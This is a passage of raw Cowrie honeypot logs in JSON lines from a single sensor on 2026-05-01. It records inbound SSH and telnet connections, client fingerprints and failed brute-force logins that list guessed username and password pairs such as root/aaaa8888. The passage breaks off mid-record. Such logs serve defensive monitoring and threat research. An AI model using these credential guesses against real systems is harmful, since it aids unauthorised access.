{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:11.041210Z","src_ip":"125.31.2.160","session":"530cc757be93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:11.488532Z","src_ip":"159.203.92.129","session":"6fa0b76dbf5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":54712,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8642c91ffea","protocol":"telnet","message":"New connection: 172.233.212.110:54712 (10.17.0.5:23) [session: a8642c91ffea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:14.310533Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":52974,"dst_ip":"159.203.135.109","dst_port":23,"session":"009278374fe0","protocol":"telnet","message":"New connection: 209.126.87.217:52974 (159.203.135.109:23) [session: 009278374fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:18.329470Z"}
{"eventid":"cowrie.session.closed","duration":120.0009834766388,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:22.992988Z","src_ip":"42.114.201.41","session":"d81333bb829a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.861101388931274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:24.885713Z","src_ip":"172.233.212.110","session":"7ba14ae8b21b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":41228,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c6149827d82","protocol":"telnet","message":"New connection: 172.233.212.110:41228 (10.17.0.5:23) [session: 9c6149827d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:26.038937Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":51864,"dst_ip":"159.203.135.109","dst_port":23,"session":"039d3484dfee","protocol":"telnet","message":"New connection: 209.126.87.217:51864 (159.203.135.109:23) [session: 039d3484dfee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:29.824594Z"}
{"eventid":"cowrie.session.closed","duration":37.89155030250549,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:32.931850Z","src_ip":"185.26.126.47","session":"6b3cec5d5cef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.42783784866333,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:36.972013Z","src_ip":"172.233.212.110","session":"a33c18901f89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.463996648788452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:38.829155Z","src_ip":"172.233.212.110","session":"32cbc06f6da8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.708056926727295,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:41.501870Z","src_ip":"172.233.212.110","session":"870158fc4455","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.653457641601562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:45.963713Z","src_ip":"172.233.212.110","session":"a8642c91ffea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45758,"dst_ip":"159.203.135.109","dst_port":23,"session":"b48d3c4b94d8","protocol":"telnet","message":"New connection: 209.126.87.217:45758 (159.203.135.109:23) [session: b48d3c4b94d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:48.516407Z"}
{"eventid":"cowrie.session.closed","duration":40.45570755004883,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:48.662237Z","src_ip":"139.162.207.207","session":"620fde6c76ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45774,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d1f355dfab1","protocol":"telnet","message":"New connection: 209.126.87.217:45774 (159.203.135.109:23) [session: 0d1f355dfab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:49.391937Z"}
{"eventid":"cowrie.session.closed","duration":33.93251895904541,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:52.261860Z","src_ip":"209.126.87.217","session":"009278374fe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":51574,"dst_ip":"159.203.135.109","dst_port":23,"session":"55a585e7b2d3","protocol":"telnet","message":"New connection: 209.126.87.217:51574 (159.203.135.109:23) [session: 55a585e7b2d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:54.685089Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39998,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4dfa4b14970","protocol":"ssh","message":"New connection: 159.203.92.129:39998 (159.203.135.109:22) [session: f4dfa4b14970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:55.615349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:55.620153Z","src_ip":"159.203.92.129","session":"f4dfa4b14970","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:55.624639Z","src_ip":"159.203.92.129","session":"f4dfa4b14970","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"admin123!","message":"login attempt [ansible/admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:55.639326Z","src_ip":"159.203.92.129","session":"f4dfa4b14970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:56.647382Z","src_ip":"159.203.92.129","session":"f4dfa4b14970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.06971883773804,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:58.108506Z","src_ip":"172.233.212.110","session":"9c6149827d82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":36940,"dst_ip":"10.17.0.5","dst_port":22,"session":"855db12f19fd","protocol":"ssh","message":"New connection: 125.31.2.160:36940 (10.17.0.5:22) [session: 855db12f19fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:04.667625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:04.672772Z","src_ip":"125.31.2.160","session":"855db12f19fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:04.891044Z","src_ip":"125.31.2.160","session":"855db12f19fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258.","message":"login attempt [root/147258.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:05.795511Z","src_ip":"125.31.2.160","session":"855db12f19fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:07.019246Z","src_ip":"125.31.2.160","session":"855db12f19fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.02652859687805,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:07.850990Z","src_ip":"209.126.87.217","session":"039d3484dfee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":60424,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bb1ff5a6883","protocol":"telnet","message":"New connection: 209.126.87.217:60424 (159.203.135.109:23) [session: 1bb1ff5a6883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:15.241516Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":60426,"dst_ip":"159.203.135.109","dst_port":23,"session":"808bd56fd0e0","protocol":"telnet","message":"New connection: 209.126.87.217:60426 (159.203.135.109:23) [session: 808bd56fd0e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:16.036382Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":60432,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ac9565d6e10","protocol":"telnet","message":"New connection: 209.126.87.217:60432 (159.203.135.109:23) [session: 0ac9565d6e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:17.254018Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":52750,"dst_ip":"159.203.135.109","dst_port":22,"session":"21106d40a342","protocol":"ssh","message":"New connection: 37.143.61.130:52750 (159.203.135.109:22) [session: 21106d40a342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:17.578909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:17.785878Z","src_ip":"37.143.61.130","session":"21106d40a342","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:17.888935Z","src_ip":"37.143.61.130","session":"21106d40a342","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaa8888","message":"login attempt [root/aaaa8888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:20.595520Z","src_ip":"37.143.61.130","session":"21106d40a342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:21.786658Z","src_ip":"37.143.61.130","session":"21106d40a342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.45338559150696,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:23.845205Z","src_ip":"209.126.87.217","session":"0d1f355dfab1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.5615656375885,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:24.077832Z","src_ip":"209.126.87.217","session":"b48d3c4b94d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.19798445701599,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:27.882927Z","src_ip":"209.126.87.217","session":"55a585e7b2d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":37922,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1535caad2ad","protocol":"telnet","message":"New connection: 103.157.135.60:37922 (10.17.0.5:23) [session: c1535caad2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:30.160263Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.133","src_port":41657,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc6a28c62c68","protocol":"ssh","message":"New connection: 91.230.168.133:41657 (159.203.135.109:22) [session: dc6a28c62c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:38.128815Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:38.133662Z","src_ip":"91.230.168.133","session":"dc6a28c62c68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.129","src_port":58195,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dde03e3f878","protocol":"ssh","message":"New connection: 91.230.168.129:58195 (159.203.135.109:22) [session: 3dde03e3f878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:38.194948Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54946,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c6379b04d5b","protocol":"ssh","message":"New connection: 159.203.92.129:54946 (159.203.135.109:22) [session: 9c6379b04d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:40.367666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:40.372898Z","src_ip":"159.203.92.129","session":"9c6379b04d5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:40.378196Z","src_ip":"159.203.92.129","session":"9c6379b04d5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"admin123!@#","message":"login attempt [ansible/admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:40.389655Z","src_ip":"159.203.92.129","session":"9c6379b04d5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:41.397120Z","src_ip":"159.203.92.129","session":"9c6379b04d5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":35922,"dst_ip":"159.203.135.109","dst_port":23,"session":"da925d815821","protocol":"telnet","message":"New connection: 185.26.126.47:35922 (159.203.135.109:23) [session: da925d815821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:47.276652Z"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:48.407957Z","src_ip":"91.230.168.129","session":"3dde03e3f878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.25155186653137,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:50.287813Z","src_ip":"209.126.87.217","session":"808bd56fd0e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.25123906135559,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:51.492608Z","src_ip":"209.126.87.217","session":"1bb1ff5a6883","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.938658714294434,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:41:54.192537Z","src_ip":"209.126.87.217","session":"0ac9565d6e10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":54710,"dst_ip":"10.17.0.5","dst_port":22,"session":"4715e4dfe975","protocol":"ssh","message":"New connection: 125.31.2.160:54710 (10.17.0.5:22) [session: 4715e4dfe975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:00.258124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:42:00.263514Z","src_ip":"125.31.2.160","session":"4715e4dfe975","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-